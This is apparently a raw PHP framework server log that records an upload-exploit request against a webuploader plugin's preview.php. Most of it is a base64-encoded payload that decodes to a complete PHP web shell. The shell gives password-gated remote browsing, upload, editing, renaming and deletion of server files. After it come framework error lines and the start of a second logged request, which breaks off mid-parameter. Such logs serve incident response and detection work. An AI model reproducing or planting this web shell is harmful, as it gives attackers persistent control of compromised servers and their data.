'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'ui' => 'lib', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:09:13+08:00 ] 119.42.146.234 POST 59.110.137.245/source/plugin/iscwo_kaifu/webuploader/0.1.15/server/preview.php [运行时间:0.002641s] [吞吐率:378.65req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'source', 2 => 'plugin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 